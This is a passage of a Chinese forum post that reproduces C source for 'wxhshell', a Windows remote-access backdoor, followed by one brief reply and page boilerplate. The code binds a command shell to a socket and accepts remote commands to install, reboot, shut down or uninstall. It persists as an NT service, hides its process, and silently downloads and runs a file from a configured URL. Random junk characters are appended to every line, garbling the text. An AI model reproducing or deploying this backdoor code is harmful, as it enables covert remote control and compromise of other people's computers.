  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s>\g03=  
  else @45H8|:k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [u80-x<  
  } ai4^NJn  
  else { l`&6W?C  
c5e\ckqm^  
    switch(cmd[0]) { S$52KOo  
  ]gksyxn3  
  // 帮助 ?8@*q6~8  
  case '?': { C4tl4df9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E{ s|#  
    break; l|A8AuO*?  
  } zDyeAxh4  
  // 安装 xUi!|c  
  case 'i': { QJWES%m`  
    if(Install()) &o@5%Rz2/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k+$4?/A  
    else PAV2w_X~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~iZF~PQ1_  
    break; HDyZzjgG  
    } QV$dKjMS  
  // 卸载 B5HdC%8/}  
  case 'r': { vXyo  
    if(Uninstall()) f+Medc~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uk  f\*  
    else ]a#]3(o]}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FM"BTA:C  
    break; lO> 7`2x=F  
    } HF+fk*_Q  
  // 显示 wxhshell 所在路径 ' u};z:t  
  case 'p': { Az9J{)  
    char svExeFile[MAX_PATH]; )]> '7] i  
    strcpy(svExeFile,"\n\r"); b^DV9mO4J  
      strcat(svExeFile,ExeFile); *.%)rm  
        send(wsh,svExeFile,strlen(svExeFile),0); x[W]?`W3r~  
    break; -#;VFSz,9*  
    } ptyDv  
  // 重启 H)T# R?  
  case 'b': { S\g7wXH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); */dh_P<Yj  
    if(Boot(REBOOT)) !9LAXM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y~hd<8 ~  
    else { -^Km}9g  
    closesocket(wsh); `AHNk7 t=  
    ExitThread(0); Z?c=t-yqp  
    } X1[R*a/p  
    break; JS?l?~  
    } p]|ME  
  // 关机 ":#x\;  
  case 'd': { w^E]N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x ETVt q  
    if(Boot(SHUTDOWN)) R 4QwWSBJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e=)* O  
    else { W#7-%o T  
    closesocket(wsh); ; :\,x  
    ExitThread(0); lEb R)B,  
    } k,iV$,[TF  
    break;  Ox*T:5  
    } -_*XhD  
  // 获取shell B m@oB2x)  
  case 's': { TgE.=`"7  
    CmdShell(wsh); k=~pA iRDN  
    closesocket(wsh); >wk=`&+V@  
    ExitThread(0); b;`#Sea  
    break; gc:p@<  
  } Y1_6\zpA  
  // 退出 lPQ Ut!xI  
  case 'x': { \]#;!6ge  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `{Di*  
    CloseIt(wsh); i =fOdp  
    break; -5,y 1_M  
    } ="w8U'  
  // 离开 (VI* c!N  
  case 'q': { aco}pXz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l^y?L4hg)  
    closesocket(wsh); <_{4-Q>S3#  
    WSACleanup(); fRa-bqQ  
    exit(1); u3i| }`  
    break; "ko?att~  
        } M3;v3 }z<-  
  } ? ]:EmP  
  } g yH7((#i  
;/^]|  
  // 提示信息 - Zoo)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y7IbE   
} (zro7gKked  
  } Y=Ar3O*F  
nh&J3b}B!  
  return; -k[tFBl w  
} [F V=@NI  
':2*+  
// shell模块句柄 U>B5LU9&  
int CmdShell(SOCKET sock) k5%0wHpk=  
{ xBE RCO^  
STARTUPINFO si; UFIAgNKl  
ZeroMemory(&si,sizeof(si)); D7_Hu'y<o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jn@Mbl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cM<hG:4%wX  
PROCESS_INFORMATION ProcessInfo; 5) n:<U*  
char cmdline[]="cmd"; W "\tkh2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vz #wP  
  return 0; }!yD^:[ 5  
} 0O['-x  
)3`  
// 自身启动模式 T.w}6? 2  
int StartFromService(void) $L&9x3+?Kg  
{ B[/['sD  
typedef struct LY88;*:S  
{ ;]oXEq`  
  DWORD ExitStatus; EO 9kE.g  
  DWORD PebBaseAddress; HSr"M.k5  
  DWORD AffinityMask; kSDa\l!W]  
  DWORD BasePriority; Xm^h5jAr  
  ULONG UniqueProcessId; _Dcc<-.  
  ULONG InheritedFromUniqueProcessId; sg6w7fp>  
}   PROCESS_BASIC_INFORMATION; oA3W {  
E_![`9i  
PROCNTQSIP NtQueryInformationProcess; %L\{kUam  
lgjoF_D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o S:vTr+$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b6WC @j`*T  
6|9g4@Hy  
  HANDLE             hProcess; ?<yq 2`\4O  
  PROCESS_BASIC_INFORMATION pbi; JPTI6"/  
[cTRz*\s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K@j^gF/0B  
  if(NULL == hInst ) return 0; c]aK N  
;/)Mcx]n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d0}%%T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DvRA2(M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RqN_vk\  
u5{5ts+:  
  if (!NtQueryInformationProcess) return 0; {sfmWVp  
il>x!)?o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nzE,F\k  
  if(!hProcess) return 0; uRB)g  
spSN6 .j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1y)$[e   
eA*Jfb  
  CloseHandle(hProcess); O2'bNR  
B )1<`nJA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); msqxPC^I  
if(hProcess==NULL) return 0; _L:i=.hxN  
]2xx+P#Y  
HMODULE hMod; 5;K-,"UQ  
char procName[255]; 74}eF)(me  
unsigned long cbNeeded; sx-Hw4.a"  
I"F .%re  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ><#2O  
mS)|6=Y  
  CloseHandle(hProcess); vzohq1r5  
&` 00/p  
if(strstr(procName,"services")) return 1; // 以服务启动 =_?pOq  
n$OE~YwP{  
  return 0; // 注册表启动 hk5E=t~&  
} O'!r]0Q  
_r<zSH%  
// 主模块 ,. 6J6{  
int StartWxhshell(LPSTR lpCmdLine) z3vsz  
{ dY4k9p8  
  SOCKET wsl; ni"$[8U  
BOOL val=TRUE; !HdvCYB>  
  int port=0; Rekb?|{z  
  struct sockaddr_in door; r{_B:  
[B"dH-r7  
  if(wscfg.ws_autoins) Install(); ;Txv -lfS  
u^aFj%}]L  
port=atoi(lpCmdLine); EZ%w=  
ElEv(>G*  
if(port<=0) port=wscfg.ws_port; hr_9;,EPh  
~|r'2V*  
  WSADATA data; ]< s\V-y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tL={y*  
7g A08M[O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Uw2,o|=O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m?D <{BQ;  
  door.sin_family = AF_INET; wDT>">&d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t g KG&  
  door.sin_port = htons(port); Yo~LckFF  
(xZr ]v ]U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PJxak3  
closesocket(wsl); .pS&0gBo\  
return 1; `2x H7a-  
} C%}]"0Q1  
V-KL%  
  if(listen(wsl,2) == INVALID_SOCKET) { nabBU4;h  
closesocket(wsl); | ((1V^  
return 1; ;ZQ- uz  
} D00G1:Ft(T  
  Wxhshell(wsl); ^wx%CdFm'P  
  WSACleanup(); r/NSD$-n  
[x2JFS#4  
return 0; ^CZCZ,v  
@uI?  
} f7XQ~b  
&a%WM   
// 以NT服务方式启动 gk!E$NyE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Jv_.itc  
{ C5O5S:|'  
DWORD   status = 0; w5F4"nl#O}  
  DWORD   specificError = 0xfffffff; ./'~];&  
GXDC@+$14  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mu6039qy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s<[A0=LH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,O:EX0  
  serviceStatus.dwWin32ExitCode     = 0; h>}ax\h  
  serviceStatus.dwServiceSpecificExitCode = 0; H~A"C'P3#  
  serviceStatus.dwCheckPoint       = 0; K0w<[CO  
  serviceStatus.dwWaitHint       = 0; B.89_!/:p  
q,[k7&HS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C`\9c ej  
  if (hServiceStatusHandle==0) return; ,HFs.9#&B  
"+=Pp  
status = GetLastError(); 6g5PM4\  
  if (status!=NO_ERROR) uije#cj#O  
{ y[: ~CL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /@ y;iJk;  
    serviceStatus.dwCheckPoint       = 0; v8ba~  
    serviceStatus.dwWaitHint       = 0; 2 ;JQX!  
    serviceStatus.dwWin32ExitCode     = status; Vy-28icZ`  
    serviceStatus.dwServiceSpecificExitCode = specificError; '3A+"k-}mh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R/^@cA  
    return; e]lJqC  
  } ' |&>/dyq  
"-w ^D!C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #SKfE  
  serviceStatus.dwCheckPoint       = 0; Og,Y)a;=  
  serviceStatus.dwWaitHint       = 0; 95=g Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PJzc=XPU  
} ^_v[QV  
AY#wVy  
// 处理NT服务事件,比如:启动、停止 t)YUPDQ@J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "jMqt9ysN  
{ ^:`oP"%-T  
switch(fdwControl) ~12_D'8D[  
{ "`pNH'   
case SERVICE_CONTROL_STOP: N_UQ  
  serviceStatus.dwWin32ExitCode = 0; tAF]2VV(e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \tY"BC4.  
  serviceStatus.dwCheckPoint   = 0; i+g~ Uj}h  
  serviceStatus.dwWaitHint     = 0; ,V,f2W 4  
  { =I2@/,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4SgF,ac3r  
  } ?w-1:NW jt  
  return; RctU'T  
case SERVICE_CONTROL_PAUSE: |,b2b2v ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zj<ahg%z  
  break; \V,c]I   
case SERVICE_CONTROL_CONTINUE: l^\(ss0~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U4BqO :sd  
  break; bmu6@jT  
case SERVICE_CONTROL_INTERROGATE: "e 1wr  
  break; Y9F)`1 7  
}; cJCU*(7&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k<H%vg>{~s  
} 6^)rv-L~5y  
5F2_xH$5  
// 标准应用程序主函数 *ZaaO^!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h4_ b!E@  
{ [)^mBVht  
GF8 -_X  
// 获取操作系统版本 we3tx{j  
OsIsNt=GetOsVer(); hq=,Z1J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #ly@;!M  
OF[?Z  
  // 从命令行安装 mzWP8Hlw  
  if(strpbrk(lpCmdLine,"iI")) Install(); l _+6=u  
O sQkA2=  
  // 下载执行文件 Z|G/^DK!  
if(wscfg.ws_downexe) { Us,)]W.S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =!BobC- [b  
  WinExec(wscfg.ws_filenam,SW_HIDE); afHaB/t{R  
} [#Y' dFQ  
ciudRK63M  
if(!OsIsNt) { uRE*%d>  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rf)ke("  
HideProc(); ?7 \\e;j}  
StartWxhshell(lpCmdLine); !^e =P%S  
} 0"78/6XIs  
else _T5)n=|  
  if(StartFromService())  B/G-Yh$E  
  // 以服务方式启动 SRZL\m}  
  StartServiceCtrlDispatcher(DispatchTable); U3E&n1AA  
else pj0fM{E  
  // 普通方式启动 }g|nz8  
  StartWxhshell(lpCmdLine); 5{d\u E%'p  
%d1draL  
return 0;  |t))u`~  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八